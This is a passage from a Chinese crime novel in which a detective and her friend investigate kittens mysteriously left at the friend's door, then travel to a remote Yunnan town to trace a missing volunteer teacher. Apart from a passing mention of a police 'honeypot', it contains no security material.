最后那位尚未发话的男子看上去有点书生气,他安慰道:“就差最后的一部分了,等对方吃了蜜罐,我们能就抓住他了。” 随即四人交谈的声音越来越低,压得近乎于耳语,秦梓需再怎么努力去听,也听不清了。 她淡定地吃完了自己的面,便结账离开面馆。走在夜幕降临的小路上,她思忖着刚才那四个警察交谈的内容。秦梓需感觉他们可能是网警,“蜜罐”这个词是反黑客的术语,类似于陷阱,诱导黑客攻击,这样就能搞清楚对方的手法和身份。 又是反黑客,最近市局的系统一直在被攻击,怎么到现在还没结束吗?到底是什么人在干这种事。 秦梓需真有些好奇了,可惜她明天就要出发去云南了。她盘算,如果去云南一切顺利,查到了她想要查的,那么回来后很可能案情会有较大进展。到时候,她也可以抽出点精力,问一问黑客事件到底是怎么回事。 刚走到家门口,忽而手机响了,秦梓需一看来电,是章弥真,她立刻接起: “喂?” “老秦啊,你要不要今晚到我家来住一宿,明早咱们直接一起出发去机场,我家离机场更近。”章弥真非常突兀地提议道。 “嗯?”秦梓需疑惑这其中的必要性,无非是个出发早晚的问题。 “你过来吧,我这儿有点情况得要你帮忙。带上你的行李,现在就过来。”章弥真突然变得不容置疑。 “什么事啊?”秦梓需试图问清楚。 “我……哎呀,总之你来了就知道了,赶紧的,我等你呢。”说罢,就挂了电话。 什么鬼!秦梓需无语了片刻,最后还是拿她没办法,她只得回家后匆匆将行李做最后的打包,然后驱车赶往章弥真家。 抵达她家楼下时,章弥真居然已经楼栋门口等她了。 “出什么事了?”秦梓需下车后问。 “你养过猫吗?”章弥真劈头盖脸问道。 “啊?”秦梓需懵了。 章弥真解释道:“刚傍晚我出门丢垃圾,发现有人把一个纸箱子丢在我家门口,里面有两只小奶猫,特别可爱。我想养来着,可我……没养过。而且我敲了楼栋里所有邻居的门一一问过了,没有人把猫丢在我家门口,我们家楼栋有密码锁,平时锁着的,外人进不来,所以我觉着这事儿有点奇怪,想着你来帮我出出主意。” “你家住几楼啊?”秦梓需问。 “顶层,12楼。”章弥真道。 秦梓需蹙起眉头。 第30章 第三十章 秦梓需提着自己的行李箱,跟着章弥真一道乘坐电梯上12楼。她看了一眼电梯的摄像头,道: “你有没有问保安看过监控?” “没有呢。”章弥真摇头。 “嗯……”秦梓需意味不明地嗯了一声。 等电梯到了12楼,秦梓需没急着跟章弥真进家门,而是望了一眼楼梯间,道:“这楼道里有监控吗?” “有的吧。”章弥真道,“但好像不是每一层都有。” 秦梓需回身,示意章弥真开家门。二人进入玄关后,章弥真带上家门,面露不安神色,道:“你这个反应,我有点七上八下的,咋的了这是?” “你也说有点奇怪,你觉得奇怪在哪儿?”秦梓需不答反问。 “我就是觉得,要送猫,送进这种封闭式单元楼里,而且还刻意送到最高层,是不是有点太刻意了。”章弥真道,“我在想是不是我哪个朋友又在恶作剧了,结果在群里问了一圈,也没人承认。” “对,这就是最奇怪的地方,送猫的人似乎很有针对性啊,就是专门送给你的。”秦梓需道。 “你说得我这心里毛毛的。”章弥真脸色不大好看。 秦梓需没急着下定论,而是道:“你再问问你的朋友们,确认没有人做出这种事,我再来查监控。” “我这就问。”章弥真直接开始打电话。 秦梓需蹲在了纸箱子旁,纸箱子就放在玄关门口,箱子被章弥真草草掩住,里面还不断传来小猫咪的细细叫声。 秦梓需戴上手套,将箱子四面,以及上盖,下底,都查了一下。这是个原本用来装袋装面包的箱子,挺结实,上面有撕掉快递标签残留下的黏胶痕迹,除此之外没有能用肉眼看出来的明显痕迹。 秦梓需打开箱子,看到里面蹲着两只只有巴掌大的小猫,都是狸花猫,眼睛都没能完全睁开,可能刚出生没多久,感觉像是流浪猫生下的崽子。 箱子里啥也没有垫,两只小猫在里面爬动着,看上去像是在寻找妈妈,颤颤巍巍,饿得叫声都虚了。 “你家有废毛巾吗?最好是干燥的。”秦梓需问章弥真。 “我直接给你拿条新的。”章弥真一边打着电话,一边冲进家里,不多时拿来一条柔软的新毛巾。 秦梓需用毛巾把这两只小猫裹起来,对章弥真道: “咱们去宠物医院吧。” 章弥真完全服从秦梓需的要求,二人再次出了家门,坐电梯下楼时,章弥真总算打完了电话。 “没有,真没有人给我送猫。和我关系最铁的两个朋友,这几天都在外地出差呢。工作室里的人也没有来过我家。知道我家确切地址的人其实不多,我能想到的都联系过了,没有人给我送过猫。而且,我朋友都知道我工作忙,没时间照顾宠物,她们怎么会随随便便不经过我同意就给我送宠物呢?” “好,一会儿回来查监控。”秦梓需心中有数。 二人抵达小区附近的宠物医院,医生给两只小猫做了检查,两人等了一会儿,医生告诉她们小猫还算健康,就是出生以来似乎一直没吃到奶水,显得有点虚弱。 章弥真询问医生能不能寄养,得到肯定答复后,她总算舒了口气。让她自己来养小奶猫,她可一点经验也没有,而且也没有时间,毕竟明天一早她们就要出发了。 交了足够的钱,两只小猫就暂时被留在了宠物医院里。 虽然这两只小猫来历不明,可章弥真却还是想要养下它们。她打算等案子结束了,有了空闲,再把小猫接回来,到时候她一定跟吴岚好好学习怎么当一个合格的铲屎官。 二人步行回家,秦梓需直接进了小区保安室,亮出证件,要求调阅监控录像。 按照章弥真的回忆,她是傍晚五点半左右时开门看到猫的,秦梓需调取了章弥真所在楼栋入口处的监控录像,从五点半倒着向前看,一直倒到大概五点钟差几分时,她看到了一个抱着纸箱子的人影出现在了楼栋门口。 这是个女人,长发,简单扎了个马尾辫,穿了一件黑T恤,牛仔短裤,戴眼镜,相貌寻常,也没有做任何遮掩。从监控看来,她是趁着门没有关严实的时机,跟着前一个进楼栋的居民进来的。在此之前,她一直在楼栋门口徘徊,等待时机。 进楼栋后,她没有跟着前一位居民一起进电梯,而是放下箱子,在楼道里站着摆弄手机。等了一会儿,等到上一位乘客下电梯了,才重新将电梯唤回一楼,乘坐电梯直接抵达了12楼。 这人毫无犹疑地将纸箱子放在了章弥真家门口,然后就乘坐电梯离开了。看上去,就像是一个有些社恐,不想和任何人进行交谈的快递员进行的一次寻常投递。 秦梓需截取了这女人出现的几段监控录像,用蓝信传给了小宋,让小宋用天网查查这个女人的下落。 小宋飞快地接收,比了个OK的手势。 二人出了保安室返回家中,秦梓需道:“好了,天网查出来应该不会费太多功夫,你也不用太过担心。” 章弥真很困惑:“我还是不明白,这到底是为什么呀?” “有人盯上你了,但不会是这个送猫的女人,从我的角度来看,这个女人像是个拿钱办事的,她并不知道自己在帮谁做事,真正的目的为何。”秦梓需道,“所以,具体是因为什么,现在还不好说。” “这到底是恶意,还是善意?我看不懂。”章弥真道。 “现在来看,至少不能说是善意。这个人送猫给你的行为,更像是一种试探,可能是想看你有什么反应。”秦梓需分析道,“你平时有得罪什么人吗?” “哦,那可太多了。”章弥真哂笑道。 “以前遇到过这种事吗?” “有遇到过给我们工作室寄垃圾和寿衣的,但我这个人还是比较注重个人隐私的,家里面至今没有收到过这类东西。”章弥真道。 “看来,这次针对你私人的意味很浓。且这个人的动机模糊,和以前明显是要给你点颜色看看的那些人截然不同,一时半会儿还真难说他到底想干什么。” 章弥真一副很想骂脏话、但又强忍着不骂的憋屈样子,半晌她才道:“等我知道那家伙是谁,我一定要他好看。” 秦梓需叹息,道:“但愿不是因为你参与了抛颅案的调查,好在明天咱们俩就去云南了。我明天跟谢支提下这件事,让谢支派人盯一盯,这一段时间正好让子弹飞会儿,不急着下判断,你别有心理压力。” “嗯,我晓得了。” 二人一路沉默着回到家里,进门后,秦梓需盯着纸箱子对章弥真道:“纸箱子暂且保留着,等查出那个女人的身份后再说,不行就送去做技术检测。但我估摸着,背后那个人不会直接去接触这个纸箱子,他可能和那个女人都没有见过面。” “老秦,我就把话明说了吧。”章弥真憋不住了,“你说是不是凶手干的,他知道我们在查他,所以他坐不住了?” “有这个可能性。”秦梓需也不来虚的,直言不讳,她心底是希望章弥真能做足心理准备。 “靠,他这是觉得我是软柿子好捏吗?”章弥真怒道。 秦梓需哭笑不得,好家伙,这要是换了别人得怕得要死了,但章弥真的第一反应居然是这样的,在是不是软柿子这件事上又开始较输赢了。 “他如果当真要试探我们,从你这个外行人入手,确实比较不容易暴露自身。”秦梓需理性分析,“换一个角度来想,如果当真是他,那这就不是一件坏事,意味着他慌了,坐不住了,必须得做点什么了。也就意味着距离他彻底露出马脚已经不远了。” “但是不是也意味着他在警方内部有眼线?不然他怎么能这么快得知他快要东窗事发了?还是说……前两天我们确实打草惊蛇了?”章弥真问到了关键。 秦梓需面色一凝,道:“我明天也会和谢支汇报一下这件事,确实得严肃对待。” 她想了想,又道:“我们从最坏的角度出发来做假设,假设确实是凶手做了这个局,他想要达成的试探效果是什么?” 章弥真思忖半晌,道:“恐吓我吗?就算把我吓退了,这也不起作用呀。那会不会是……想要通过监控我来达到探明搜查进展的目的?” “既然他知道你的住址,暗中跟踪你就是了,为何还要给你送猫,这不是让咱们有了警惕心吗?”秦梓需提出其中的逻辑悖论。 “嗯……”章弥真被这个问题困住了,一时想不明白。 秦梓需却提出了她的猜想:“会不会,他真正想要试探的是你见到猫后的反应?” “啊?”章弥真越发困惑了。 秦梓需补充道:“而且,这个问题对他来说非常重要,重要到哪怕可能会暴露自身,也得冒险试探。” “什么意思啊……”章弥真的困惑未能得到解答,但已经因恐惧起了一身鸡皮疙瘩。她恐惧的是这个人的心态,她完全无法从一个正常人的角度去理解。 秦梓需微微一笑,直接结束了这个话题:“我也不知道,所以不想了,今天就到此为止,咱们早点休息,明天还要早起呢。” 章弥真好想掐死她。 夜渐渐深了,二人洗漱完毕,秦梓需被安排到章弥真家的客房睡觉。这个房间是章弥真原定给母亲居住的房间,现在一直是空置着的,床单被套章弥真一直都有干净备用,正好很快给秦梓需铺上。 秦梓需能看出来她做家务还是有一套的,虽然平时很忙,但家里倒是收拾得井井有条。章弥真买的这个房子不算特别大,但也有150平,哪怕把她妈妈接过来,两人居住也很富裕。虽然她打小养尊处优,但一点不矫情,这么大的面积都是她一个人收拾。 秦梓需尽了自己做客人的本分,不随便碰触主人的东西。她洗完澡,靠在床头,拿着自己的Pad看。章弥真却还在外间忙,一直能听见她拖鞋踢趿的声响,她还在收拾行李。 11点半后,章弥真在外面喊了一声:“老秦,你睡了没?我要睡了,晚安。” “哦,晚安。”秦梓需应道。 咋睡个觉还这么郑重其事地宣誓一下,秦梓需暗觉好笑。 她也觉得有些困了,于是放下Pad,关了灯躺平,阖上了双眼。但没过几分钟,突然房间门开了,章弥真在黑暗里探头进来,留给秦梓需一个模糊的轮廓。 “嗯?咋了?”秦梓需讶异坐起身。 “老秦,要不你到我房里睡?”章弥真轻声道。 “为啥?你房里也没两张床,我们俩挤一块多难受。”秦梓需屈起左腿,左臂架于其上,微微侧着脑袋问。 “我房里床更宽,睡两个人不挤的。”章弥真答非所问,只是一味劝说秦梓需。 秦梓需默了一下,气氛有一瞬变得十分微妙。片刻后,秦梓需确认道: “你不介意和别人躺一张床上?我怕干扰到你。” “哦,嗯……那算了吧,你睡吧。”章弥真撤回一步,带上了房门。 秦梓需望着关上的房门,挠了挠自己的后脑勺,把头发都抓乱了。 一分钟后,她长叹一声,下床出了房门,走到章弥真卧室门口,敲了敲虚掩着的门。房里还亮着灯,透过门缝,能看到章弥真穿着睡裙,散着长发,正坐在床边,摆弄床上的一个硕大的毛绒玩具。 这个状态的章弥真,秦梓需还是生平第一次见到,她仿佛一下子褪去了所有的坚硬、骄傲、好强,似乎真的成了一位养尊处优、内心柔软的公主。 “我可以进来吗?”秦梓需站在门口轻声问。 章弥真见她来了,扬起笑容,拍了拍床边。 “刚才那么不情愿,怎么现在又来了?”她好笑问道。 秦梓需想了想,笑道:“我胆子小,两个人睡有安全感。” 说着就窜上床,挨着另一侧躺下,催促道:“熄灯了熄灯了,快睡吧。” 小样,跟我来这一套呢。章弥真咬唇,关掉了床头灯。她缓缓躺倒在秦梓需身侧,呼吸逐渐平稳。 秦梓需是真的累了,再加上章弥真床上有一股很难以形容的,催眠般的香味,困意潮水般来袭,一下就将她的神志抽离。迷迷糊糊间,好像听到了章弥真轻声道了句: “老秦,你人真好,可惜了。” 可惜?可惜什么……秦梓需的脑子不转了,也不想费劲说话,任由倦怠制服理智,缓缓沉入梦乡。【你现在阅读的是 】 30-40 第31章 第三十一章 盛夏的胥城骄阳似火,哪怕是清晨7点不到,也让人感到闷热难耐。 耿剑秋和宋辙在机场安检口等到了前来会和的秦梓需、章弥真。小宋看上去还是那么文质彬彬、阳光温和,一见面就立刻打招呼: “秦老师,章姐,早上好!” “早,小宋。早,耿队。”秦梓需打招呼。 耿剑秋客气回应,还想着帮秦梓需和章弥真提行李,不过看她俩只带了一个行李箱,身上背着双肩包,也没什么好要他帮忙提的,倒也乐得轻松。 章弥真回应了一下小宋,但却对耿剑秋的招呼爱搭不理。秦梓需暗暗示意她收敛点,至少一起出差,给人家留点面子,别把关系搞僵了。 宋辙见秦梓需、章弥真都是一脸倦怠,从汇合后办理登机牌,到过安检,全程两人都在打呵欠,看上去无比困倦,不由得关心问道: “秦老师,章姐,你们昨晚没睡好吗?” “嗯,我昨晚梦见我打了一晚上拳赛,累死了。”章弥真又忍不住打了个呵欠。 秦梓需嘴角抽抽,回道:“我昨晚梦见自己被暴揍了一整晚,不得安生。” 章弥真一脸你在说谁,肯定不是我的表情。 她们昨晚12点睡,今早4点就爬起来了,加上昨晚章弥真做噩梦,拳打脚踢,睡相太差,把秦梓需揍得一夜没睡好,不困才怪了。 “啊哈哈……”小宋尴尬一笑,虽然不知道咋回事,但总感觉两位姐姐好像气氛有点不大对劲,他打圆场道,“要不我给你们买杯咖啡去?” “怎么好麻烦你,我们自己去买就好。”秦梓需非常客气。 “好啊,特浓冰美式来一杯。”章弥真却完全不客气。 宋辙怔在原地,一时不知该怎么做。 最后还是秦梓需拉着章弥真去买咖啡去了。 从胥城抵达此行的目的地药山镇,全程曲折难走,今天一天都要耗在赶路上。她们首先要乘坐7:30的飞机飞3个小时抵达宜宾,从宜宾转乘将近7个小时的火车抵达昭通,再从昭通坐车前往药山镇。 上头和当地的省厅、派出所做了对接,联系到了当地派出所的人在昭通火车站接他们,但从昭通火车站驱车出发,还得再开3个半小时才能抵达药山镇,光是听听就让人绝望。 秦梓需、章弥真不由得想,当年的赵蕾要来一趟胥城又该有多不容易。 候机的时间里,秦梓需询问了一下小宋关于昨天发给她的监控查得如何了,小宋回道: “人其实很快就查到了,是个流浪动物救助站的工作人员。我委托了局里的同事今天去侦讯,现在还没那么快有结果。” 流浪动物救助站?秦梓需和章弥真相视一眼,心里暗忖这事儿恐怕麻烦了,对方很可能是受到指使给章弥真送猫的。 她们也没有继续纠结这个问题,暂且搁置。耿剑秋插话进来,讲了一下目前技侦那里关于这次从天平山搜查到的证物的调查进展。 “那个塞在树里的5毛钱硬币,没有检验出指纹,明显是被擦过了。那个金属残片现在还很难判断是什么物件,不过上面检测出了不完整的指纹残片。” “竟然真的有指纹!”章弥真惊喜道,秦梓需的困意也霎时消散了。 “能确认是谁的指纹吗?会不会是赵蕾自己的指纹?”秦梓需追问道。 耿剑秋摇头道:“很难确认,你知道赵蕾留下的指纹并不完整,并不是十只手指都有。指纹检验靠得是脊线、分叉点、交叉点、端点这些细节特征,不完整指纹,还得进一步做概率性匹配,得送到专家那里去复核才能知道到底是谁的指纹。” 诶,又是一重困难,但愿能排除掉赵蕾的可能性。如果排除,那么这个不完整指纹当真就很有可能是凶手的指纹,会成为证据链中最重要的一环。 讨论完案情,还不大熟悉的四人逐渐沉默,各自做起自己的事。好在没等多久,她们就登机出发了。 一上飞机,困意席卷,秦梓需和章弥真并肩坐着,一起昏昏睡去。下了飞机,匆匆路过宜宾的四人又上火车,火车还不是新的高铁动车,是一趟绿皮普快,也是川滇线上唯一的绿皮火车,车上不限制携带的货物,什么装着瓜果蔬菜的扁担、蛇皮口袋司空见惯,甚至宠物、牲畜都能上车,上车的都是附近的乡亲,很多人会直接在车上进行农产品交易,真是热闹非凡。 在轰鸣声中,列车向着西南大山进发。 章弥真还是人生头一回坐这种火车,她不禁联想到凶手抛颅时乘坐的列车,于是屡屡徘徊在过道,盯着窗户不放,盘算着自己如果是凶手,寻找什么时机抛尸不会被人发现。 颠簸了将近7个小时,夜幕降临,她们终于抵达了昭通。 在火车站下来时,她们只觉得浑身都要散架了。好在前来接她们的镇派出所警官吉克比较体贴,他已经在火车站附近安排了旅馆住宿,等休整一晚,明日再进山。 秦梓需和章弥真被安排住一间,旅馆的条件不是很好,但秦梓需、章弥真根本没有挑剔的心思,两人快速洗漱完毕,直接倒头就睡,连晚饭都不吃。 她们从晚上9点,一口气睡到了翌日早上6点,终于神清气爽,恢复了元气。 入乡随俗,她们在吉克的推荐下,进了当地一家特色早点铺,吃了油糕饵块配稀豆粉。稀豆粉味道有些特殊,豌豆磨浆制成,撒上姜末、葱花、花生碎,还要加花椒油和糊辣椒,麻香辛辣,一口下去把秦梓需和章弥真还残留的一丝倦意彻底呛没了。 吃饭时闲聊,他们得知吉克是彝族人,且就是药山镇人。他的彝名全名叫做吉克日都,汉名是吉克阳,一般大家都称呼他为吉克。他精瘦,个子不高,皮肤黝黑,特别喜欢露出一排整齐的白牙憨笑,是个挺讨人喜欢的小伙子。 问起青竹坳中学,吉克打开了话匣子。他就是青竹坳中学毕业的,对于母校他充满了感激,说要是没有这所学校,不知道多少山里孩子得辍学。现在他们至少能完成义务教育。这所学校当年就是由无数外地来的支教老师支撑起来的,他们在这里付出了难以想象的泪水和汗水,浇灌了许许多多大山里的孩子。 现在这些孩子长大了,回到故乡,接了老师们的棒,继续教导下一代的孩子。近些年,外地来的支教老师的数量也越来越少了,混资历的少了,大浪淘沙,留下的数量虽少,却是真心实意愿意留在山里的老师。伴随着山里的条件逐渐改善,支教老师身上那层牺牲与悲情的色彩也逐渐淡去了,他们能在这里安家落户,维持比较体面的生活。 不过吉克今年不过25岁,询问他两千年初青竹坳中学的情况,恐怕是问不出来了。 吃完了早饭,吉克提醒众人今天午饭恐怕得在路上吃,于是众人又跑了趟超市,买了些面包、方便面和火腿肠,当做路上的干粮。 吉克开来的车是一辆警用SUV,车身没有明显的警用涂装,是一辆伪装车。车身有些泥泞肮脏。耿剑秋坐了副驾,章弥真、秦梓需靠后排左侧坐,小宋坐在了右侧。 这种情况下,坐后排中央的人其实是最难受的,想睡觉脑袋都不知道往哪儿靠。秦梓需倒无所谓,她打算路上不睡觉,闭目养神,思考一些问题。 吉克开车出发,他车技很好,车子很快就上了高速路。车里本来还有一搭没一搭地聊天,行车一小时后,完全安静了下来,除了驾车的吉克,所有人都睡着了。 秦梓需左摇右晃,处在一种将睡未睡的混沌状态。她强撑着,想转动累得好似生锈了的大脑,可思考个几秒钟,大脑就罢工了。她干脆放弃,想着就这样吧,维持着一丝清明,不要睡死了,撑到目的地。 就这样赶路,中途吉克下了一趟服务区,众人好歹下车活动了一番,上了厕所。然后就继续上路,秦梓需终究还是没能撑住,她不知何时睡着了,是被章弥真摇醒的。醒来时她正靠着章弥真的肩膀,她吓了一跳,连忙坐直身子,检查自己的口水有没有流到章弥真肩膀上。 幸好没有,不然丢人丢大发了。 “老秦!你看外面,好漂亮,像仙境似的。”章弥真这会儿精神起来了,兴奋得像个孩子。 秦梓需一望车窗外,他们正穿行在蜿蜒的山道上,远处群山掩映在薄雾之中,迷迷蒙蒙,车窗上都起了一层水雾,气温明显下降,有一丝寒意袭来。 “到了吗?”她迷茫问。 前方吉克回道:“快到了,已经在县域的边沿了,再有一小时就到了。” 说话间竟然就有雨水落下,噼噼啪啪拍击着车壳。 吉克开了雨刮器,两杆刷子不断划出扇形的清晰视界。前方,药山群峰在时速百公里的雨幕中溶解,铅灰色云层压榨出亿万银针,将山体刺成晕染的水墨卷轴。珙桐林突然从左侧扑来,湿透的密叶像群白鹭溺在雾里,转瞬被疾驰的车轮碾成苍青的残影。 车过高悬着的高速跨江大桥,牛栏江峡谷在右侧撕开豁口。雨瀑正从高耸的崖顶垂落,却在半空被横风扯碎,化作浮游的冰霰扑向车窗。山谷间大片冷杉林蒸腾的雾气与积雨云相接,整片山域好似滚沸的青铜釜。 天突然就黑得吓人,吉克开了车灯,灯光一闪,照亮岩壁植物下方藏着的赤色土壤,这里是丹霞地貌。 “现在正好是雨季,雨下得没完没了的。”吉克道。 秦梓需庆幸自己带足了雨具,章弥真则沉浸在这苍茫大山的壮观自然景象中,趴在车窗上,如痴如醉。 雨刮器摆动的声响就像节拍器,敲击着每个人越发雀跃起来的心。海拔落差处突然涌出乳白色瀑布群。它们并非水流,而是浓雾顺着断层倾泻,顷刻吞没盘山公路。车灯刺穿雾障的刹那,秦梓需才意识到前方有一条隧道,好似远古巨兽张口蹲守,等待他们进入腹内。 车一瞬进了隧道,方才那壮观的自然景象瞬息消失,接下来是漫长的黢黑。众人静谧无声,仿佛是等待下一场好戏开场的观众。 当车子终于穿出隧道群时,水帘在穹顶形成流动的棱镜。出洞的瞬间,正午的雨突然转作太阳雨,十万根金线穿透云层,将前方九曲十八弯的国道化成银白锦缎。 “镇子就在下面那个山谷里,到了。”吉克说话的语气昂扬,透着喜悦。秦梓需、章弥真顺着他的话往山谷里望去,那座人类城镇正沐浴在太阳雨和霓虹炫彩中,好似藏在五彩斑斓的泡泡里,显得格外不真实。 药山镇……赵蕾,时隔十五年,行程2000公里,但愿关于你的一切仍然还在此处封存。 第32章 第三十二章 药山镇就像众多的西南乡镇一般,藏在大山之间,山坳间藏着一片白色的方块建筑群,看上去略有些陈旧简陋。 车入镇子后,他们能感觉到这里的人烟凋零,镇子上在户人口不过五万多,其中有相当一部分都在外务工,留下的都是老年人和孩子。 街面上见不到什么商铺,但药材供销社倒是随处可见。这里本就是因为盛产中草药而得名。游客也是不会来这里的,因为这里实在是没有什么可以观光之处。 镇子不大,吉克驾车很快就开到了镇上唯二的初中之一——青竹坳中学门口。众人都要求直接来学校进行调查,因此直奔目的地。 今天是周五,现在刚过午后,大概下午第一节课是体育课,孩子们都在操场上活动,显得颇为喧嚣吵嚷。 吉克带着他们往学校里行去,孩子们大概是头一回见到学校有这样一批外地人进来,纷纷好奇观望。有个男孩子认识吉克,大着胆子张口询问: “吉克叔!他们是谁?来干什么?” “上你的课去,别多管闲事!”吉克笑着骂了句。 几人步入校舍,这三层水泥楼还是2000年初的风格,简单质朴,四四方方毫无设计感,只追求实用。墙上贴着一些名人名言和画像,黑板报上画着航空航天的内容,笔触稚嫩,但很认真。章弥真看着有些感动,这些山里的孩子尽管身居偏远,仍有仰望星空的浪漫。 穿过长廊,他们来到了尽头的教导主任办公室,吉克敲门,喊了声: “龙老师!在吗?” 陈旧的木门吱呀一声打开,一个中年女子探出头来,见到众人顿感诧异。 “之前和您打过招呼的,说这两天有外地的警官来拜访的。”吉克解释道。 “哦!对对对,快请进快请进。”教导主任忙把众人迎进来。她操着夹杂云南当地的口音的普通话,脸上虽然挂着客气的笑容,但眼神里却藏着不安。她忙前忙后,给众人搬了小板凳坐,又拿了几个一次性杯子倒水。 “不忙不忙,我们问问情况就好。”耿剑秋率先发话,但随后他看了一眼一旁的秦梓需,示意秦梓需来主导谈话。 秦梓需于是开口道:“我们是胥城市局的民警,是为了调查一起刑事案件过来的。” “哦,我记得确实有胥城市局的警官给我打过电话呢,听声音,好像就是你吧。”教导主任似乎认出了秦梓需,“你是不是要找什么人?” “对,我们要找一个女支教老师,她的真实姓名我们不清楚,我们只知道她写信时用的笔名叫做赵蕾,花蕾的蕾。她应当是2000年初时在你们学校支教的老师,当时可能年纪有二三十岁的样子。她经常和胥城有书信往来,不知道您有没有什么印象?” 秦梓需尽量把她所知道的情况都说了。然后又拿出手机,将赵蕾的画像亮给对方看: “她应该是长这样。” 教导主任龙老师扶着眼睛仔细盯着画像看了看,面上的神色不像是认出来的样子。她有些抱歉道: “不好意思啊,我是5年前才来这里工作的,过去在这里的老师长什么样我真的不大清楚。” “那有没有2000年初在这里工作的老师呢?”秦梓需心底一沉,连忙追问。 周老师显得有些踌躇,但最终还是实话相告: “不瞒您说,我们这镇子上是什么条件您也看到了。青竹坳中学是政府扶持初中,我们有对口帮扶的老师,都是从上海来的老师。这些老师3年一换,2000年初的那一批老师早就回去了,这都换了好几批人了,在我们这里当老师最久的大概干了10年,那也是10年时来的。2000年初,药山镇这里太困难了,留不住人。” “行政人员呢?”章弥真追问。 “老师都是掰开来用的,一个人要带好几门课,除了我和校长,哪儿还有什么行政人员。校长比我早来3年,你们去问他,他也不会知道的。而且校长今天正好不在,他去县里教育局开会了。”教导主任道。 “你认不认识2000年初时的校长和教导主任呢?” “2000年初时是我们的江志高老校长在的时候,他从建校初期就在了,一直到7年前病退,新校长才来接任。镇上的人都认识他,我也是镇上的,所以熟悉。之前的教导主任是外地人,调走了,我不大认识。” “那我们能和这位老校长见一面吗?” “见不到了,他病退后没两天就去世了,唉……”教导主任叹息道,“常年劳累积累下的病根,病来如山倒啊。” 这下众人心里有点没底了,虽然早就做了心理准备,但也没想到赵蕾如此难查。沉默了一会儿,还是秦梓需问道: “那麻烦您给我们一份过去支教的老师名单,另外,之前那位教导主任的情况我们也想掌握一下。” “好的,这没问题。”龙老师一口答应下来。 在等待名单打印的过程中,章弥真问秦梓需:“咱们接下来怎么查?要不要去一趟邮局?” “邮局恐怕也难,先打电话联系那位教导主任,如果对方也不知道,我们就去邮局问问。”秦梓需道。 然而事与愿违,他们拿到了前任教导主任的姓名,从公安系统查到了对方的手机,打过去询问,对方却一问三不知。原来对方是2006年入职的,在那之前,学校没有教导主任,所有的行政事务都是老校长一人在管。 然而现在老校长已经不在了,在06年之前的学校情况,这位前教导主任也是不清楚的。秦梓需反复描述赵蕾的情况,对方回忆了半晌,也仍然毫无头绪。也就是说,真正知道06年之前支教老师情况的人,可能已经不存在于世。 从学校出来时,众人的神情都很阴沉。查清赵蕾的身份,是本案最关键的部分,如果就此卡住,这案子就彻底办不下去了。 秦梓需让吉克驾车去镇上的邮局,5分钟的路程,车上所有人一言不发。 抵达邮局后,他们见到了邮局的领导,与对方沟通,试图找到2000年初在镇上送信的邮差。同时,还将赵蕾寄出的那封信的照片给邮局工作人员看,查找是否有存根。 邮局很快就否认了存根,因为平信邮局是不会有记录的。关于邮差,邮局很配合地去查人事记录了,众人只能耐心等候。 又费了好一番功夫,邮局总算找到了那位邮差。镇子不大,邮局也不大,2000年初镇上负责送信送包裹的就1位邮差,确实是姓周。 但是,他年纪很大了。他是1945年生人,2005年退休,在邮差这个岗位上干了一辈子,其中有20年都是药山镇唯一的邮递员。 如今15年过去,他已经75岁了。邮局也有管理退休老员工的部门,一番查找,总算是找到了他的联系方式。 秦梓需打电话过去,接电话却是老周的儿子,他说他父亲大概是6年前被他接到了昆明居住,1年前因脑梗瘫痪,如今已经神志不清,吃饭洗漱全都得靠人伺候,说话也说不清,很难回忆起过去的事了。 秦梓需把赵蕾的情况又说了一遍,请他向他父亲仔细询问,电话不挂断,所有人都围着听筒旁听。 这位儿子倒也耐心,一直大声询问老人关于赵蕾的事。然而老人给出的回应,却只是一些意味不明的哼哼哈哈。 电话打了半个多小时,秦梓需的手机被烧得滚烫,最终仍然是毫无结果。 众人最终不得不无奈放弃。 出了邮局,阴沉沉的天际又开始有雨点滴落,吉克道: “又要下雨了,时间也不早了,要不咱们先去宾馆住下吧,有什么事等明天再查。” 众人无异议,于是吉克连忙开车带着众人抵达了镇子上唯一一家宾馆。这宾馆盖在镇东的坡子上,恰好与镇派出所毗邻。与其说是宾馆,倒更像是一座废弃的旧楼,年久失修。宾馆前院还铺着好多玉米秆,应该是堆肥的料子。 众人刚下车,大雨瓢泼而下。他们不得不狼狈地踩过被雨水打湿的玉米秆进入宾馆躲雨。 小宋主动揽活,收了大家的身份证去前台登记入住。秦梓需满腹心事,站在一层大堂的北窗边,望着外面细密的雨点。 这宾馆后面就是一片青翠的山坡,其上点缀着黑黑白白的绵团,那都是山里人养的羊。忽而传来几声悠长的羊咩,混合着彝语呼喊的回声,能看到有一个斗笠蓑衣背着竹篓的赶羊人,正将山上的羊往山下赶。 这原生态的一幕,透着股纯粹安逸的美好。可秦梓需却无心欣赏,章弥真来到她身边,安慰道: “老秦,你也别烦心了,大不了明天去走访,总会有人记得的。只要赵蕾在这个镇子上生活过,我就不信没人记得她。” “15年过去了,足够让人们忘记她了。都怪我,如果不是我拖拖拉拉,这案子不至于一直查到现在,很多有用的线索都随着时间的流逝消失了。”秦梓需叹息。 “你自责什么呀,要不是你,这案子能推进到这一步?安心啦,老人们都记得过去的事。实在不行,我们就查2000年那会儿的学生,总该有学生记得自己的老师吧。不就是再来一次排查嘛,我都快习惯了。”章弥真道。 秦梓需扭头看她,见她长发被雨水打湿,黏在脖颈和脸颊上,忽而意识到一个问题: “你前天收拾行李带雨衣了吗?” “我带了防水的冲锋衣冲锋裤。”章弥真道。 “鞋子呢?有没有穿防水鞋?” “啊?没有啊。我带了防水鞋套。咋了,我这装备不够用吗?”章弥真问。 秦梓需道:“如果要走访,我们应该会走山路,有不少住户,尤其是老人不住在镇子上,而是散布在附近的村落里,很多村子都在山里,路很难走的。” “没事,我那个防水鞋套很结实的。”章弥真一脸无所谓。 小宋已经做好了入住登记,众人刚准备上楼入住,外面有两个穿着雨衣、戴着警帽的男子快步走了进来,一进来就和一行人热情地一一握手打招呼。 原来这两人正是镇派出所的所长和分管刑侦的副所长,本来累瘫了,好想早点休息的章弥真、秦梓需这下又不得安生了,这两位所长张罗着要在宾馆开宴,款待远道而来的一行人。 盛情难却,众人只得赴宴。好在他们知道这是来公干查案,没有强逼她们喝酒。饶是如此,这顿饭还是吃到了快十点才结束。 饭后,耿剑秋、小宋和两位所长凑一起抽烟吹牛,秦梓需一不喜欢社交,二不喜欢烟味,告辞离开。章弥真也不会合这帮男人待在一处,便跟着她一起返回房内。 “老秦,你先洗澡还是我先洗澡?”这宾馆条件简陋,房间本来就不多,章弥真和秦梓需又被安排在了一间房里。 